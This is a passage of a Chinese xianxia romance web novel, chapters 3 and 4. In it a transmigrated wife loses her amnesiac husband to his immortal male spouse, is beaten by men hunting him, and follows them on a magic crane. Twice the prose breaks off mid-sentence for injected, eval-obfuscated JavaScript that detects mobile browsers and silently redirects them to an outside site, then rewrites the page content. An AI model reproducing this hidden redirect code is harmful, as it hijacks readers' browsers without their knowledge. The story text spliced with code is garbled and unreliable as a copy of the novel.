《夫君是纯爱文男主》 3.第 3 章 贺凤臣承认,他这样问,是别有居心。 平心而言,他并不讨厌眼前的女子。 她还是个小姑娘,女孩子呢。 只是她跟方梦白的结合是个显见的错误。 方才当着方梦白的面,他不便直言。 如今,若阿风好奇,他便顺坡就驴,直接跟她说了。 譬如,方梦白跟他之间的夫妻之名。 可阿风并没有好奇。 不,准确地说,她好奇,但她克制住了自己的好奇心,摇摇头,“这是阿白的隐私,我不好过问,得阿白自己想知道,想说了。” 少女嗓音清糯,如清澈的小溪慢慢流淌,她洗得太久,嗓音仿佛也被水泡软了。 贺凤臣闻言,轻轻评判,“装聋作哑,躲得过一时,躲不过一世。” 阿风听他弦外之音,别有洞天,也不接茬,只笑笑,“我只等阿白抉择,不能打着为他好的旗号,就去干涉插手他的隐私。” 她笑容灿烂,像个孩子,但瞻视聪明。 贺凤臣默然一怔,她的无邪无私令他汗颜,不自觉移开视线,可她个子太小,他目光一瞥,她仅穿一件红色抹胸,外罩无袖纱衣,胸前半露的那抹雪白便撞进了他眼底。 贺凤臣目光一晃,忙又匆匆别开视线,没曾想,又瞧见她赤裸的两条藕臂。 这下贺凤臣背心一僵,一双凤眸频移,眨眼颇眨出出了点手忙脚乱之感。 阿风却没想那么多,她压根就没意识到这点。 她怕热贪凉,洗过澡之后通常都这么穿。 第一次瞧见这无袖纱衣的时候,她惊讶极了,也是穿越之后才发现原来古人夏天里穿得也没比现代人多多少呢。 知道古人夏天也穿这个后,她就放松许多了,成天这副打扮进进出出。 方梦白每每瞧见,欲言又止,踌躇一二,无奈放弃。她生长环境不同,若非如此,他也不至于总拿她当不谙世事的小孩子看。舍不得说她,便只能从旁小心提点了。 “贺公子,你还有事吗?”阿风等了一会儿,没等到贺凤臣的后续,主动开口问,“若没别的事。”她不好意思地微笑,指指前方院子里靠墙晾水的拖把。 贺凤臣随她转颈看了一眼,让开半步,“请。” 阿风松口气,道声谢,向前两步,同他擦肩。 她似乎全无男女大防的意识,逼近时,湿发随步伐微微扬起,几乎触面而过。 贺凤臣不甚适应地闭了闭眼,不着痕迹退开半步。 直到她走,他松口气,却不慎吸入了一大口女儿香,是女儿家夏日里常用的爽身花粉的味道。 茉莉香,香得浓烈俗艳,留香久,在夏夜里,如同春天残余挑逗的鬼魅芳魂。 贺凤臣足足僵了好一会儿,才缓缓放松了四肢躯干。 他已经忘记了自己出门是为何事,莫名盘桓了半刻,这才转身回了屋。 今日不好再开口,也罢,且待明日再与她分说个清楚罢。 - 阿风拖完地,便不太愿意再动弹了。夏天到了,没空调没电扇,她怕热,又出一身汗,澡白洗。 便干脆带了一本话本,坐在床上无聊翻看。 看着看着,困意袭来,倚着床等了好半天,才把方梦白等来。 他进了屋,先回身拴好了门,这才朝她走过来。 他已洗过澡,微潮的头发披散着,瞧见她,笑了,“怎么还没睡?” 说着,径自蹲下身,给她脱鞋。 她穿的每一双鞋,鞋上每一颗珠子攒出的珠花,都是方梦白亲手为她缝制的。他享受一手包揽她衣食住行,生活方方面面,大大小小一切细节的感觉。 阿风努力睁着困睫,“阿白,你回来了?” “困了便去睡,何必等我?”瞧见小妻子,方梦白心里一软,摸摸她的头,再有任何不悦也都烟消云散了。 唉,穿越这两年,她生物钟都调理过来了。 阿风含糊不清说,“那我去睡了……” 方梦白莞尔一笑,“睡吧。” 说着,他自己也顺势挤了上来,抱她在怀里,满足地合眼叹口气。 阿风阿风。 他仍记得,他初初睁眼时,除了一个姓名,过往空空荡荡,一片空白的惊疑,恐惧。 天地之悠悠,那巨大的孤独感攫住了他的身心,他如同巨人掌中的小虫,不得动弹。 是阿风,阿风出现,将他解救了出来。 从此之后,他便稳稳扎根于地,生活有了重心,人生有了指明方向的路牌。 方梦白并不想找回自己失落的记忆。 他的人生有阿风一人足矣。 抱着抱着,青年那修长的大手便悄悄掀开衣摆,摸了进来,有一下没一下摸她小肚子,捏她腰间软肉。 他虎口生了点薄茧,摸得阿风一个激灵,痒痒的,困意散了大半。 她心里扑通通直跳,嗓子也有点痒痒的,“阿白?” “嗯?”方梦白凑了过来,贴着她耳边说话。吐气喷在她耳朵上。 更痒了。 而且还热。 大夏天的,一个暖烘烘的身子贴过来。 阿风咽了口唾沫,有点不好意思地拍拍他身子,示意他挪远点。 “今天……别了吧?” 方梦白愣了一下。 过了一会儿才回过神来,忍俊不禁,“别了?什么别了?” 他装听不懂的样子逗她,非逼她说出个一二三四来,嗓音低低地喷吐着她耳廓。 阿风脸红到脖子根,痒得东躲西藏,“有外人在家呢!” 这坏人! 方梦白终于没忍住笑出了声,嗓音清越如松泉碎玉,气得阿风瞪眼拧了他一把。 外人,他喜欢这样的说法。 方梦白失笑捏她腰间软肉报复回来,低头在她耳窝吹气,“娘子误会,我可没想那些事……” 阿风被他慢条斯理的腔调臊得脸都红了,气得直拍她。 他继续捏她小肚子,软绵绵的。她这两天吃胖了点。 一来二去之下,她被他搞烦了,大为火光地转过身,却对上阿白浅笑模样,目光盈盈,透着满足。 阿风鬼使神差一顿, 想贺凤臣到来,他晚间那魂不守舍的样子,心头那一点微不足道的火气顿时就散了。哼哼了两声,埋怨说,“你好烦。” 方梦白无辜。 又贴着她的脸,在她发怒之前,轻笑着使劲偷香两口,“阿风,阿风……最喜欢你,不闹你了,睡吧。” 夫妻二人床上胡闹了一通,方才闭上眼。 耳畔传来阿风绵匀的呼吸声。 方梦白闭着眼,在阿风瞧不见的地方,心却沉了沉,如夏夜蝉鸣,嗡嗡扰扰,乱成一团,不得成眠。 阿风虽娇憨,却聪慧,他从来不肯在她面前表露出忧愁的。 但愿那位贺公子,当真言行如一,明早快快走个干净,休要再来打搅他们夫妻。 第二天一早,阿风是被方梦白给吻醒的。 轻柔的,细细密密的吻,春雨般扑面而来。 他一边轻吻她,一边柔柔呼喊,“阿风,阿风……醒了?起床了。” 阿风眼皮沉重得要命,撩不开眼,“唔……怎么这么早,几时了?” 心里同时觉得纳罕。 她早上赖床,起不来,方梦白从来不勉强她的。 他醒了之后,自去起床弄饭,给她留了早饭再去学堂,任由她睡到日上三竿。 怎么今天一大早非把她叫起来不可。 她糊里糊涂,梦游一般坐起来,穿衣洗漱。 一通早起必须的程序做下来,困意也去了大半。 “今天怎么这么早?” 方梦白也不瞒她,温言说:“家里还有外人,留你一个,我不放心。” 原来是提防着那位贺小公子了。阿风明白了,“我看他也不像那种——” 方梦白目光一下子便淡了,“阿风。” 阿风缩缩脖子,讪讪说,“错了错了。” 方梦白又露个无奈的笑脸:“说你多少次,知人知面不知心……” “知道了知道了,别念了师父。”阿风拿起梳子,蹬蹬蹬躲到屋子外面去梳头。 她头发软,容易打结,每回梳头都是个大工程,使劲儿篦了三四遍,非但没梳开,还用力过猛,崩坏了一颗梳齿,木梳脱手而出。 正飞到一双雪白无尘的长靴前。 那长靴一顿,一双骨节分明的修长大手,迟疑着将脚底的木梳捡了起来。 “贺公子?”阿风惊讶地抬起眼,下意识露出个友善的灿烂笑容。 贺凤臣眼睫一颤,目光晃了晃,“嗯”了一声,将梳子递还给她,“梳子。” 阿风虽然喜欢贺凤臣的好颜色,却也架不住对方之沉默寡言。 阿白抗拒自己的过往,不肯搭理他,对于阿白的无礼,他显得逆来顺受,她对他实有些同情的。 正斟酌要说些什么寒暄,正巧,方梦白喊饭了。 阿风便抬起脸,笑了一下,“一起用早饭罢。” 贺凤臣自然无不可。 方梦白正在摆碗筷,见他二人联袂而来,到底没说什么。 因席间方梦白表现得淡淡的,阿风自觉要尽主人家的义务。 她最不忍看人落入尴尬的境地。 便笑着将桌上那一盘酸萝卜推到贺凤臣面前。 语气轻快说,“贺公子尝尝这个,自家腌的,爽口。” 孰料,贺凤臣竟伸手微微一挡,“不必。” 阿风愣了一下。 方梦白也抬起眼。 贺凤臣也轻轻怔了一下。 昨日听闻他二人恩爱,他本该妒恨她的。 可对上她清润眸子,那眸子里全无阴暗,阳光照进来,只有纯然的友善好感。 贺凤臣竟鬼使神差多补充了一句,“我不爱吃酸。” “原是如此。”阿风回过神,笑道,“倒是我冒失了。” 没想到贺凤臣闻言,不言不语,竟直接撂了筷子。 阿风心里一跳:她到底哪里又说错话了。 七上八下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15595262|171879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间,贺凤臣斟酌着语句,缓缓开了口,“昨日,与阿风你是初见,不便直言,今日,在想想过,还是要同你分说清楚。” ……分说清楚,什么? 方梦白面色遽变,似乎预料他即将要说什么,推案而起:“不可!” 贺凤臣清泠泠的嗓音已如碎玉般在阿风耳畔回荡。 重重砸在心底,激起滔天骇浪,撞得她头昏眼花。 贺凤臣淡淡道:“容贺某再自我介绍一次,在下贺凤臣,不是他方梦白什么好友,是他三十年前,师友见证,明媒正娶,娶回的男妻。” 阿风愣住了。眼前像多出了一块雪花屏,嗡嗡、滋滋乱响。 明明贺凤臣说的每一个字她都听得懂,怎么联系到一起,她就听不明白了呢。 男妻? 什么男妻? 方梦白惊怒交加的嗓音若有若无,忽远忽近,回响他耳畔。 “贺公子!我夫妻好心招待你,你竟如此胡言乱语,要将我夫妻置于这般不堪的境地吗?!” 一时间,又是方梦白焦急的呼唤:“阿风!阿风!” 少年焦灼,担忧,愤怒,惊惧的眉眼近在咫尺,“你看看我……看看我……别听他胡沁!” 贺凤臣却道:“在下所言,皆出自于真,不敢有任何虚言、妄言,若有一句假,便五雷轰顶,不得好死。” “此为当初我与玉烛定情之物。”贺凤臣从容说着,拍出一物到她面前,“阿风。他表字玉烛是否?我应当未说错。正面刻有我表字升鸾,有小字,鸳盟好合,反面有玉烛二字,有小字,凤卜遐昌。” 阿风怔怔地眨了眨眼睫,下意识伸手去拿面前这块白凤玉佩。 还没触手,方梦白便愠怒将玉佩扫到桌下:“住口!” 他手指大门,气得发抖:“胡言乱语!不可理喻!我们家不欢迎你,快走——” 她从未见过方梦白生这样大的气,他双眼都气红了,苍白薄透的肌肤几乎洇出血来。 “今日我势必要带他走的,阿风,恳请你谅解。” 贺凤臣说着,站起身来。 方梦白愤怒地扑上前,欲拖拽他出门,贺凤臣目光微微动,似乎叹口气。 一抿唇角,反手一记手刀递出,正中方梦白后颈。 方梦白喋喋不休的愤怒戛然而止,他脸上流露出茫然,旋即身子一软,倒了下去。 阿风见了,这才如记惊雷劈在头顶,足将她劈醒过来,“阿白!” “他没事,只是昏迷。”贺凤臣从容容接住方梦白。 阿风看看方梦白,又看看他,大脑一片混乱,微露惊悸,“……我……我不懂。什么男妻,还有三十年……你们……有三十年吗?你到底是谁?” 贺凤臣看她一眼,耐心解释说,“阿风,你知晓天汉海吗?” 阿风惶道:“这、这是自然。” 自穿越那日起她便知道了。 她穿越的不是什么正史世界,而是个具有怪力乱神,群魔乱舞的异世界。 槐柳村如今所处的三峰县城,是一个叫大梁王朝的治下。 大梁王朝地处栖云洲,面积广大。 而在栖云洲之外,仍有无数大小洲陆。 其中有一天汉海,浪接银河,海的尽头据说是仙人的居所。 天汉海的面积几乎是好几个太平洋的总和,海面还总多雷暴,凡人仅凭脆弱的船只根本难以逾越。 正是这一道天汉海,隔开了凡人与仙人的世界。 “难道……”阿风茫然道,“你跟阿白,是来自天汉海之外的仙人?” 贺凤臣道:“不错。” 说罢,便是一阵沉默。 贺凤臣抱起方梦白,举步便要出门。 阿风一个激灵,遽然回神,匆忙跑到门前张臂拦路,“等一等!你要带走他?带他去哪里?!” 贺凤臣淡淡道:“带他回他该去的地方。” “我……我不明白,”阿风低下头,狠狠咬了咬嘴唇,力图让自己清醒一点,“我还什么都不明白,你没说清楚,不能就这样带他走。” 贺凤臣:“我想,我应当说得很清楚了。” 他越过她,举步又要走。 阿风慌了神。 她哪里能坐视贺凤臣就这样把方梦白带走。 可他若真是仙人,她也打不过他。 情急之下,她忍不住大声道:“我能不能跟你们一起!” 贺凤臣淡淡看了她一眼,没有说话。 又仿佛什么都说尽了。 那眼神平静,徐徐,不带任何轻蔑之意,似乎只是淡然地反问:你说呢? 正是这轻描淡写,可见其浊骨凡胎之间的云泥之别,她之小儿一般的幼稚妄想。 触及到这视线。 阿风身子一软,脑子里嗡地一声,仿佛什么也看不清,全身的力气都被抽走了。 她的两条腿,不受控制地向一边迈开,让开一条道路。 她只能眼睁睁看着贺凤臣抱着方梦白出了门,并不迟疑,将足一顿,踏一道烟气,很快便消失在了天际。 4.第 4 章 方梦白被贺凤臣带走了。 阿风软在地上,茫茫地回不过神。 好不容易想明白了,眼泪断线的珠子一般落了下来。 她哭了很久,哭得眼睛都肿了,天色也暗了下来。 哭得累了,她迷迷糊糊地睡着了。 梦里,她竟梦到了现代的小表妹。 她跟小表妹一道儿出门旅游,车上手机没了电,正难熬着呢,小表妹翻出本男同小说递给她解闷。 阿风看文原本就很宽容,更遑论这个非常时刻,给她一瓶洗发水的包装说明她都能看得津津有味。 她翻了几页,惊讶地抬起眼,“方梦白……这个名字好像在哪里听说过。” 小表妹玩着手机头也没抬,“就《长生天》的男主啊?你没看过吗?” 阿风想起,最近倒的确有一本叫《长生天》的男频小说在网上大火。她即便没看过,也略有耳闻。 不过这男主方梦白是直男吧?虽然结局是无CP,可她分明记得方梦白这一路走来有过几个红颜知己啊? 翻着手上这工艺精美的书页,绚烂唯美的插图,阿风恍然大悟,所以这是方贺同人本? 这里面收录的故事倒也挺简单的,讲的就是贺凤臣身受重伤,必须有个人替他替命挡灾,关键时刻,原著中的好兄弟男主方梦白挺身而出,两个人先婚后爱的故事。 可为什么,她看着这些字眼竟会心痛呢? 阿风愣愣地抚摸着纸上的墨痕,眼睫一眨,豆大的泪珠不禁落了下来。 旁边的小表妹吓了一大跳,“怎么看哭了还?” 可她的眼泪非但没有收住,反倒还越掉越凶,竟抱着这本同人本放声大哭起来。 不知不觉间,阿风又把自己哭醒了。醒来的时候,她仍孤零零地躺在冰冷坚硬的地面上。 屋里头一片昏暗,只能瞧见桌椅模模糊糊的轮廓。桌上杯盘狼藉,还没吃完的早餐已然冷透了。 哪里还有什么阿白,小表妹,同人小说的影子? 阿风睁着红肿的双眼,艰难地爬起身。 她都想起来,原来她竟然穿到了一本同人耽美小说里。 她曾经以为,只要有阿白在身边,穿越到这个异世界也没有什么可怕的。 原来这两年的幸福日子,只是一场泡影。 阿风怔怔地发了一会儿呆,院子外面的夕阳沉了下来,她好像被全世界遗弃了,一股莫大的孤独攫住了她的身心,让她一时半会儿喘不过气来。 她当然不甘心,可追又能往哪里追?她连他们从哪个方向走的都不知道。 又隔了一会儿,她想,她应该先点起灯。 烛火腾地刚亮起,院子外头忽然就传来了几个男人说话的声音。 “方梦白那贱人就住这里?” “看起来也没人在家啊。” “该不会是得到消息跑了吧?” “跑?”有个粗噶的嗓音狞笑,“他一个人又能跑到哪里去?只要还在栖云洲迟早要了他的狗命! 要想跑回白鹿学宫——连星渡早就被咱们布下重兵把守,瓮中捉鳖,他还能插着翅膀飞过天汉海不成?” 阿风被吓了一大跳,心蹿到嗓子眼里,下意识扑灭了烛火,闪身往里屋躲。 这动静瞬间惊醒了院门口说话的那几个人。 “谁?!”一人大喝了一声,提着刀走了进来。 过了一会儿,阿风尖叫着被人揪着衣领,拖条死狗一般从里屋拖了出来,丢到了众人脚下。 她挣扎得厉害,那人见了,一巴掌扇在她脸上,她两耳嗡嗡作响,左脸高高肿起,牙齿也磕破了舌尖,尝到了鲜血铁锈般的腥甜。 左边一个男人上上下下打量她一眼,对中间那个疑似首领的男子说。 “听说方梦白这小子在凡人界娶了妻。” “这小娘们难道是他妻子?” 说着,便有人蹲下身,掐住她的脸,“我问你,你夫婿人呢?” 阿风哪里经历过这阵仗,吓得脸都白了,“我……我不知道……” “不知道。”那人冷笑一声,倏地变了脸色,一脚踹在她小腿骨上,踹得她在地上滚了两圈这才停下来,又掐着她脖子将她提起。 “方梦白是你夫婿,你不知道?” 这一脚力道之重,痛得阿风眼前一白,险些痛厥过去,冷汗瞬间便湿透了身上的荷花裙, 目光好不容易聚焦。 脖子上不断收紧的压力,又令她呼吸不畅,头晕目眩,憋红了一张脸。 “我、真、不、知、道。” “他……他一早便走了……” 求生欲令阿风嘴里断断续续地挤出几个字。 那男人闻言,跟同伴们对视一眼,倒松了些力气,“走了?什么时候走的?往哪个方向走的?走之前可说过什么没有?” 阿风:“你、你先放开,我慢慢、慢慢说。” 咚一声,宝贵的空气争相恐后地涌入口鼻,阿风红了眼圈跌落在坚硬的地面上,摔得全身都痛。 她也不敢呼痛,只捂着火辣辣的脖子,嗓音沙哑:“我、我知道得真不多。” “昨天,有个人自称他朋友来找他,早上他人就被带走了……” 男人问:“那人可说过自己叫什么?长什么样?” 阿风也不敢扯谎,贺凤臣长得那么漂亮,一路过来,整个槐柳村的人对他印象估计都很深刻。 只好低头说:“他说自己叫贺凤臣……长得很漂亮,抱一把琴。” 男人们遽然变了脸色,啐了一口,“果然是这小娘皮的,不知廉耻做了人男妻,倒真把自己当个女人了……” 阿风原本知道得就不多,将自己所知又基本都说了个一干二净。 那几个男人见她惊惧懵懂的模样,倒也信了她无知。 “怎么办?”有人问,“这小娘们?” 为首的那个从袖子里翻出只纸鹤,往天上一送。 “叫人从东西南北四个方向追。” “抛家妻子……”为首的那个冷笑,“果然是他这个魔头能做出来的。 “难道咱们就放过她了?” “不要杀我!”阿风闻言,惊惧地哀声大哭,“求求你们不要杀我!” 有人嫌吵,又给了她一巴掌,扇得她眼冒金星,嘴角流血。 阿风又怕又怒,胸口里憋了一团气,她不敢再哭了,呜呜地死死咬紧牙,逼自己闭住了嘴。 “这□□可是跟那魔头睡了那么长时间……”那人忿忿,看她的眼神轻蔑,“呸!” 首领冷笑:“他慌不择路,光顾着逃跑,连妻子都不顾了,你抓了她又有什么用?” “那要不把她杀了?” 那首领沉默下来。 阿风浑身发麻,发木。 她为了求生,忍到了现在。 听到这句话呼吸都冻住了。眼泪不断地从眼角涌了出来。 首领沉默了一会儿,皱眉道:“算了,这人也没什么用处,少给我再惹事。到时候……万一,仙盟那边又说我们滥杀无辜。” 他们走了。 …… 昏暗的小屋又回到了只剩她一人的寂寥凄清。 阿风痉挛般地抽了口气,扑在地上抖若筛糠,终于忍不住放声嚎啕大哭。 赵婶子跟其他槐柳村的村民觑着动静赶过来的时候,阿风正哭得上气不接下气。 “阿风、阿风……怎么了?”赵婶子扶起她,惊惧不安地嗫嚅说,“刚刚走掉的那些人到底是怎么回事……” 阿风哭得说不出话来。 方梦白亲手为她缝制的荷花裙已经被鲜血和泥沙弄脏了,残破得不成样子,像块烂抹布。 她绣着珠子的翘头花布鞋也被踢落了一只。 每天被方梦□□心梳得油黑绷亮的两只发髻也散开。 赵婶子看得心里发酸,眼前的女孩子哪里还有之前被方先生宠得鲜净漂亮的俏模样? 一干人等,手忙脚乱扶着阿风坐回椅子上,又喂了她水。 折腾了好半天,阿风这才略略理顺了气,不哭不嗝了。 方梦白不知去向,阿风又什么都不肯说,赵婶子跟隔壁几个婶子担心她,主动提出陪她睡一夜。 阿风婉拒了赵婶子的好意,红肿着眼强颜欢笑,又是端茶又是倒水,谢众人好意。 众人哪里愿受。晓得她想一个人静静,便也没再勉强她,渐渐地散了。 人群一走,阿风也没敢歇。 她不知道那些人会不会去而复返,她怕连累槐柳村。 如今槐柳村是不能再待了。 又想起那些人之前站院子里说的那些话。 “连星渡早就被咱们布下重兵把守,瓮中捉鳖。” 想到这些人是要去杀方梦白的,阿白有性命之危。阿风手脚一下子就软了下来。她为了活命,不得不说出贺凤臣的存在。 也不知道到底会不会害了阿白。 不行,阿风下定了决心。 她必须要找到他们,她要告诉他们,不能去连星渡…… 连星渡有人在追杀他们…… 她哆嗦着,先进了里屋,匆忙收拾出个行李,紧接着又去了院子里。 看着院子里那几只懵懂的白鹤,阿风眼泪一下子就涌了出来,仿佛看到了昔日方梦白坐在白鹤之间看书的画面。 鹤们围着他,舞动着双翅,轻轻地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15601863|171879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫。 她如今要走了,不回来了,也不知道能不能活着回来。她含泪抱住其中一只最漂亮,也最健硕的,叫小白的领头鹤。 它歪着头,黑漆漆的眼珠子不解地看着她,仿佛在说话。 阿风眼含热泪轻声说:“走吧,走吧,都走吧,你们的主人不会回来了,我放你们自由。” 那些白鹤似乎极通人性,它们依依不舍地盘桓了两圈,在她催促之下,最终还是展开双翅,鹤鸣嘹亮,渐次飞向了天际。 阿风又将鸡圈里养的这些鸡鸭连夜都送给好心的村民们。 回到小院,她去厨房里捡了一把柴刀,这才锁上院门。 提着包袱,头也不回地踩着村口土路,冒着夜色,坚定地踏出了这方曾有过她跟方梦白美好回忆的土地。 - 阿风冒着夜色走了很久很久。 若不害怕那是假的。 远方风过山林,沙沙作响,风中仿佛送来野狼的嚎叫 好几次,阿风仿佛都瞧见了狼群绿油油的眼。 她不敢停,只能咽下一口唾沫,握紧柴刀,哆哆嗦嗦继续往前走。 她也不知道贺凤臣跟方梦白如今到底身在何处。 只记得贺凤臣最后是消失在东边天际的。 东边是连星渡的方向。 天汉海常年风暴不断,若想从栖云洲渡海,只能经连星渡这一个渡口。 从东边走……应当没错。 阿风从天黑走到天亮,这才走到了三峰县城门口。 她本想进城租头驴子,哪知道还没踏进城门,头顶却忽然传来一声极为嘹亮,熟悉的鹤鸣。 阿风愣了一下,抬头惊讶地瞧见了在她头顶盘旋徘徊的白鹤。 “小白!”她忍不住大叫了一声! 白鹤听到她的呼唤,盘旋了两圈,敛了双翅在她身前落下。 阿风没想到会在城门口瞧见它,她惊喜地跑过去,动情地抱住它脖颈,“你……你怎么在这里?你没走?难道一直跟着我吗?” 白鹤漆黑的眼珠看着她,不吵也不叫,突然低下了头,俯下了身子。 这个姿势,极为古怪。 有点,有点像牛或者马俯身低头等待主人攀骑上去的意思。 阿风又愣了一下,这才发现,眼前的小白好像变得尤其的大。 大得好像能轻而易举地载动她一个成年女性。 “你……你想让我上去?”她不确定地问。 白鹤欢快地叫了一声。 阿风揪着它羽毛犹豫了。 虽然小白变得很大,可鸟类这么轻的骨头能承担她的重量吗? 小白不满她的犹豫,偏头轻轻啄了她一下。 阿风回过神,多少也明白过来,方梦白既然是仙人出身,养的鹤多多少少也有些神异,君不见古画里的神仙通常也都是骑跨在鹤背上的吗? “我……如果你觉得不舒服一定要说。”阿风不放心,强调了一句,这才小心翼翼抱着它脖颈,爬了上去。 小白似乎不以为然,高傲地昂起头,抖了抖羽毛,踱步载着她走了几圈,这才发出一声响亮的鸣叫,载着她冲向了天际。 “啊啊啊啊啊——” 狂风迎面而来,吹得她眼角直冒泪花。 山川河流在她脚下渐渐凝缩成凌乱的线点。 阿风的尖叫憋在了胸口嗓子眼里,吓得浑身僵硬,使出了吃奶的力气抱着小白不敢撒手,差点将小白扯秃噜了毛。 不知飞了多久,小白的速度这才慢了下来,带着她在一片密林里降落。 阿风心里冒出个胆大的猜测。 她脚步虚软地下了鹤背,四处张望了几眼,“难道……就是这里吗?” 正在这时,不远处的林子里传来枯枝落叶被人踩断的细响。 阿风抬起灰扑扑的脸,错愕地对上一双平淡如雪的双眼。 贺凤臣抱琴的雪白身影自林间缓步而出。 他瞧见她,微微一怔,凤眸里飞快闪过一点讶异。 可能是没曾想会在这遇到她,还是如此狼狈的她。 不过短短一日未见,女孩子已经有了翻天覆地的变化。 她的花布鞋子走破了,一瘸一拐的,发髻也散开了,披散在肩头。 脸上青青紫紫,灰扑扑的。 对上他沉默,审视的视线。 阿风瑟缩了一下,像又怕被他赶走。 女孩子犹豫着,缓缓地,挤出个小心翼翼,足够友善却辛酸的笑容,像只耷拉着脑袋的灰扑扑的小流浪狗。 “阿风。”贺凤臣不自觉多看了她几眼。 很快收敛了多余的情绪,冷硬俯首:“你怎会在此?”